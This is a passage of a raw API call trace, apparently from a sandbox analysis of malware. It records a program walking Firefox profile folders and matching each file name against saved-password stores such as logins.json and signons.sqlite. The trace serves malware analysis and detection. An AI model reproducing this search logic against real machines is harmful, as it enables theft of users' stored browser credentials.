IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 56 [0048.119] lstrlenA (lpString="") returned 0 [0048.119] LocalAlloc (uFlags=0x40, uBytes=0xb9) returned 0x74a800 [0048.119] lstrcpyA (in: lpString1=0x74a800, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" [0048.119] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" [0048.119] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 56 [0048.119] lstrlenA (lpString="Crash Reports") returned 13 [0048.119] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x745b68 [0048.119] lstrcpyA (in: lpString1=0x745b68, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" [0048.119] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="Crash Reports" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports" [0048.120] LocalFree (hMem=0x74a800) returned 0x0 [0048.120] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports") returned 69 [0048.120] lstrlenA (lpString="\\*.*") returned 4 [0048.120] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x75c938 [0048.120] lstrcpyA (in: lpString1=0x75c938, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports" [0048.120] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\*.*" [0048.120] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\*.*", lpFindFileData=0xef898 | out: lpFindFileData=0xef898) returned 0x72dcd0 [0048.120] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0048.120] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef898 | out: lpFindFileData=0xef898) returned 1 [0048.120] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0048.120] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0048.120] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef898 | out: lpFindFileData=0xef898) returned 1 [0048.120] StrStrIA (lpFirst="InstallTime20131025151332", lpSrch="signons.sqlite") returned 0x0 [0048.120] lstrlenA (lpString="InstallTime20131025151332") returned 25 [0048.120] StrStrIA (lpFirst="InstallTime20131025151332", lpSrch="logins.json") returned 0x0 [0048.120] StrStrIA (lpFirst="InstallTime20131025151332", lpSrch="signons.txt") returned 0x0 [0048.120] StrStrIA (lpFirst="InstallTime20131025151332", lpSrch="signons2.txt") returned 0x0 [0048.120] StrStrIA (lpFirst="InstallTime20131025151332", lpSrch="signons3.txt") returned 0x0 [0048.120] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef898 | out: lpFindFileData=0xef898) returned 0 [0048.120] FindClose (in: hFindFile=0x72dcd0 | out: hFindFile=0x72dcd0) returned 1 [0048.121] LocalFree (hMem=0x75c938) returned 0x0 [0048.121] LocalFree (hMem=0x745b68) returned 0x0 [0048.121] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa00 | out: lpFindFileData=0xefa00) returned 1 [0048.121] lstrcmpiA (lpString1=".", lpString2="Profiles") returned -1 [0048.121] lstrcmpiA (lpString1="..", lpString2="Profiles") returned -1 [0048.121] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 56 [0048.121] lstrlenA (lpString="") returned 0 [0048.121] LocalAlloc (uFlags=0x40, uBytes=0xb9) returned 0x74a800 [0048.121] lstrcpyA (in: lpString1=0x74a800, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" [0048.121] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" [0048.121] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 56 [0048.121] lstrlenA (lpString="Profiles") returned 8 [0048.121] LocalAlloc (uFlags=0x40, uBytes=0xc1) returned 0x745b68 [0048.121] lstrcpyA (in: lpString1=0x745b68, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" [0048.121] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="Profiles" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" [0048.121] LocalFree (hMem=0x74a800) returned 0x0 [0048.121] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 64 [0048.121] lstrlenA (lpString="\\*.*") returned 4 [0048.121] LocalAlloc (uFlags=0x40, uBytes=0xc5) returned 0x74d860 [0048.121] lstrcpyA (in: lpString1=0x74d860, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" [0048.121] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*.*" [0048.121] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*.*", lpFindFileData=0xef898 | out: lpFindFileData=0xef898) returned 0x72dcd0 [0048.121] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0048.121] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef898 | out: lpFindFileData=0xef898) returned 1 [0048.121] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0048.121] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0048.121] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef898 | out: lpFindFileData=0xef898) returned 1 [0048.121] lstrcmpiA (lpString1=".", lpString2="asmpdd98.default") returned -1 [0048.121] lstrcmpiA (lpString1="..", lpString2="asmpdd98.default") returned -1 [0048.122] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 64 [0048.122] lstrlenA (lpString="\\") returned 1 [0048.122] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x7469f0 [0048.122] lstrcpyA (in: lpString1=0x7469f0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" [0048.122] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\" [0048.122] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned 65 [0048.122] lstrlenA (lpString="asmpdd98.default") returned 16 [0048.122] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x746ac0 [0048.122] lstrcpyA (in: lpString1=0x746ac0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\" [0048.122] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\", lpString2="asmpdd98.default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" [0048.122] LocalFree (hMem=0x7469f0) returned 0x0 [0048.122] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned 81 [0048.122] lstrlenA (lpString="\\*.*") returned 4 [0048.122] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x74f980 [0048.122] lstrcpyA (in: lpString1=0x74f980, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" [0048.122] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\*.*" [0048.122] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\*.*", lpFindFileData=0xef730 | out: lpFindFileData=0xef730) returned 0x72dd50 [0048.122] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0048.122] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef730 | out: lpFindFileData=0xef730) returned 1 [0048.122] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0048.122] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0048.122] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef730 | out: lpFindFileData=0xef730) returned 1 [0048.122] StrStrIA (lpFirst="addons.json", lpSrch="signons.sqlite") returned 0x0 [0048.122] lstrlenA (lpString="addons.json") returned 11 [0048.122] StrStrIA (lpFirst="addons.json", lpSrch="logins.json") returned 0x0 [0048.122] StrStrIA (lpFirst="addons.json", lpSrch="signons.txt") returned 0x0 [0048.122] StrStrIA (lpFirst="addons.json", lpSrch="signons2.txt") returned 0x0 [0048.122] StrStrIA (lpFirst="addons.json", lpSrch="signons3.txt") returned 0x0 [0048.122] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef730 | out: lpFindFileData=0xef730) returned 1 [0048.122] lstrcmpiA (lpString1=".", lpString2="bookmarkbackups") returned -1 [0048.122] lstrcmpiA (lpString1="..", lpString2="bookmarkbackups") returned -1 [0048.122] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned 81 [0048.122] lstrlenA (lpString="\\") returned 1 [0048.122] LocalAlloc (uFlags=0x40, uBytes=0xd3) returned 0x74fa60 [0048.122] lstrcpyA (in: lpString1=0x74fa60, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" [0048.122] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.122] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned 82 [0048.122] lstrlenA (lpString="bookmarkbackups") returned 15 [0048.122] LocalAlloc (uFlags=0x40, uBytes=0xe2) returned 0x74d998 [0048.122] lstrcpyA (in: lpString1=0x74d998, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.122] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\", lpString2="bookmarkbackups" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups" [0048.122] LocalFree (hMem=0x74fa60) returned 0x0 [0048.122] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups") returned 97 [0048.122] lstrlenA (lpString="\\*.*") returned 4 [0048.122] LocalAlloc (uFlags=0x40, uBytes=0xe6) returned 0x74da88 [0048.122] lstrcpyA (in: lpString1=0x74da88, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups" [0048.122] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups\\*.*" [0048.123] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups\\*.*", lpFindFileData=0xef5c8 | out: lpFindFileData=0xef5c8) returned 0x72dd90 [0048.123] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0048.123] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef5c8 | out: lpFindFileData=0xef5c8) returned 1 [0048.123] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0048.123] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0048.123] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef5c8 | out: lpFindFileData=0xef5c8) returned 1 [0048.123] StrStrIA (lpFirst="bookmarks-2017-06-30_5.json", lpSrch="signons.sqlite") returned 0x0 [0048.123] lstrlenA (lpString="bookmarks-2017-06-30_5.json") returned 27 [0048.123] StrStrIA (lpFirst="bookmarks-2017-06-30_5.json", lpSrch="logins.json") returned 0x0 [0048.123] StrStrIA (lpFirst="bookmarks-2017-06-30_5.json", lpSrch="signons.txt") returned 0x0 [0048.123] StrStrIA (lpFirst="bookmarks-2017-06-30_5.json", lpSrch="signons2.txt") returned 0x0 [0048.123] StrStrIA (lpFirst="bookmarks-2017-06-30_5.json", lpSrch="signons3.txt") returned 0x0 [0048.123] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef5c8 | out: lpFindFileData=0xef5c8) returned 0 [0048.123] FindClose (in: hFindFile=0x72dd90 | out: hFindFile=0x72dd90) returned 1 [0048.123] LocalFree (hMem=0x74da88) returned 0x0 [0048.123] LocalFree (hMem=0x74d998) returned 0x0 [0048.123] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef730 | out: lpFindFileData=0xef730) returned 1 [0048.123] StrStrIA (lpFirst="cert8.db", lpSrch="signons.sqlite") returned 0x0 [0048.123] lstrlenA (lpString="cert8.db") returned 8 [0048.123] StrStrIA (lpFirst="cert8.db", lpSrch="logins.json") returned 0x0 [0048.123] StrStrIA (lpFirst="cert8.db", lpSrch="signons.txt") returned 0x0 [0048.123] StrStrIA (lpFirst="cert8.db", lpSrch="signons2.txt") returned 0x0 [0048.123] StrStrIA (lpFirst="cert8.db", lpSrch="signons3.txt") returned 0x0 [0048.123] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef730 | out: lpFindFileData=0xef730) returned 1 [0048.123] StrStrIA (lpFirst="compatibility.ini", lpSrch="signons.sqlite") returned 0x0 [0048.123] lstrlenA (lpString="compatibility.ini") returned 17 [0048.123] StrStrIA (lpFirst="compatibility.ini", lpSrch="logins.json") returned 0x0 [0048.123] StrStrIA (lpFirst="compatibility.ini", lpSrch="signons.txt") returned 0x0 [0048.123] StrStrIA (lpFirst="compatibility.ini", lpSrch="signons2.txt") returned 0x0 [0048.123] StrStrIA (lpFirst="compatibility.ini", lpSrch="signons3.txt") returned 0x0 [0048.123] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef730 | out: lpFindFileData=0xef730) returned 1 [0048.123] StrStrIA (lpFirst="content-prefs.sqlite", lpSrch="signons.sqlite") returned 0x0 [0048.123] lstrlenA (lpString="content-prefs.sqlite") returned 20 [0048.123] StrStrIA (lpFirst="content-prefs.sqlite", lpSrch="logins.json") returned 0x0 [0048.123] StrStrIA (lpFirst="content-prefs.sqlite", lpSrch="signons.txt") returned 0x0 [0048.123] StrStrIA (lpFirst="content-prefs.sqlite", lpSrch="signons2.txt") returned 0x0 [0048.123] StrStrIA (lpFirst="content-prefs.sqlite", lpSrch="signons3.txt") returned 0x0 [0048.123] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef730 | out: lpFindFileData=0xef730) returned 1 [0048.123] StrStrIA (lpFirst="cookies.sqlite", lpSrch="signons.sqlite") returned 0x0 [0048.123] lstrlenA (lpString="cookies.sqlite") returned 14 [0048.123] StrStrIA (lpFirst="cookies.sqlite", lpSrch="logins.json") returned 0x0 [0048.123] StrStrIA (lpFirst="cookies.sqlite", lpSrch="signons.txt") returned 0x0 [0048.123] StrStrIA (lpFirst="cookies.sqlite", lpSrch="signons2.txt") returned 0x0 [0048.124] StrStrIA (lpFirst="cookies.sqlite", lpSrch="signons3.txt") returned 0x0 [0048.124] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef730 | out: lpFindFileData=0xef730) returned 1 [0048.124] StrStrIA (lpFirst="downloads.sqlite", lpSrch="signons.sqlite") returned 0x0 [0048.124] lstrlenA (lpString="downloads.sqlite") returned 16 [0048.124] StrStrIA (lpFirst="downloads.sqlite", lpSrch="logins.json") returned 0x0 [0048.124] StrStrIA (lpFirst="downloads.sqlite", lpSrch="signons.txt") returned 0x0 [0048.124] StrStrIA (lpFirst="downloads.sqlite", lpSrch="signons2.txt") returned 0x0 [0048.124] StrStrIA (lpFirst="downloads.sqlite", lpSrch="signons3.txt") returned 0x0 [0048.124] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef730 | out: lpFindFileData=0xef730) returned 1 [0048.124] StrStrIA (lpFirst="extensions.ini", lpSrch="signons.sqlite") returned 0x0 [0048.124] lstrlenA (lpString="extensions.ini") returned 14 [0048.124] StrStrIA (lpFirst="extensions.ini", lpSrch="logins.json") returned 0x0 [0048.124] StrStrIA (lpFirst="extensions.ini", lpSrch="signons.txt") returned 0x0 [0048.124] StrStrIA (lpFirst="extensions.ini", lpSrch="signons2.txt") returned 0x0 [0048.124] StrStrIA (lpFirst="extensions.ini", lpSrch="signons3.txt") returned 0x0 [0048.124] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef730 | out: lpFindFileData=0xef730) returned 1 [0048.124] StrStrIA (lpFirst="extensions.sqlite", lpSrch="signons.sqlite") returned 0x0 [0048.124] lstrlenA (lpString="extensions.sqlite") returned 17 [0048.124] StrStrIA (lpFirst="extensions.sqlite", lpSrch="logins.json") returned 0x0 [0048.124] StrStrIA (lpFirst="extensions.sqlite", lpSrch="signons.txt") returned 0x0 [0048.124] StrStrIA (lpFirst="extensions.sqlite", lpSrch="signons2.txt") returned 0x0 [0048.124] StrStrIA (lpFirst="extensions.sqlite", lpSrch="signons3.txt") returned 0x0 [0048.124] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef730 | out: lpFindFileData=0xef730) returned 1 [0048.124] lstrcmpiA (lpString1=".", lpString2="healthreport") returned -1 [0048.124] lstrcmpiA (lpString1="..", lpString2="healthreport") returned -1 [0048.124] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned 81 [0048.124] lstrlenA (lpString="\\") returned 1 [0048.124] LocalAlloc (uFlags=0x40, uBytes=0xd3) returned 0x74fa60 [0048.124] lstrcpyA (in: lpString1=0x74fa60, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" [0048.124] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.124] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned 82 [0048.124] lstrlenA (lpString="healthreport") returned 12 [0048.124] LocalAlloc (uFlags=0x40, uBytes=0xdf) returned 0x74fb40 [0048.124] lstrcpyA (in: lpString1=0x74fb40, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.124] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\", lpString2="healthreport" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport" [0048.124] LocalFree (hMem=0x74fa60) returned 0x0 [0048.124] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport") returned 94 [0048.124] lstrlenA (lpString="\\*.*") returned 4 [0048.124] LocalAlloc (uFlags=0x40, uBytes=0xe3) returned 0x74d998 [0048.124] lstrcpyA (in: lpString1=0x74d998, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport" [0048.124] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport\\*.*" [0048.124] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport\\*.*", lpFindFileData=0xef5c8 | out: lpFindFileData=0xef5c8) returned 0x72dd90 [0048.124] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0048.124] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef5c8 | out: lpFindFileData=0xef5c8) returned 1 [0048.124] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0048.124] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0048.124] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef5c8 | out: lpFindFileData=0xef5c8) returned 0 [0048.124] FindClose (in: hFindFile=0x72dd90 | out: hFindFile=0x72dd90) returned 1 [0048.125] LocalFree (hMem=0x74d998) returned 0x0 [0048.125] LocalFree (hMem=0x74fb40) returned 0x0 [0048.125] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef730 | out: lpFindFileData=0xef730) returned 1 [0048.125] StrStrIA (lpFirst="healthreport.sqlite", lpSrch="signons.sqlite") returned 0x0 [0048.125] lstrlenA (lpString="healthreport.sqlite") returned 19 [0048.125] StrStrIA (lpFirst="healthreport.sqlite", lpSrch="logins.json") returned 0x0 [0048.125] StrStrIA 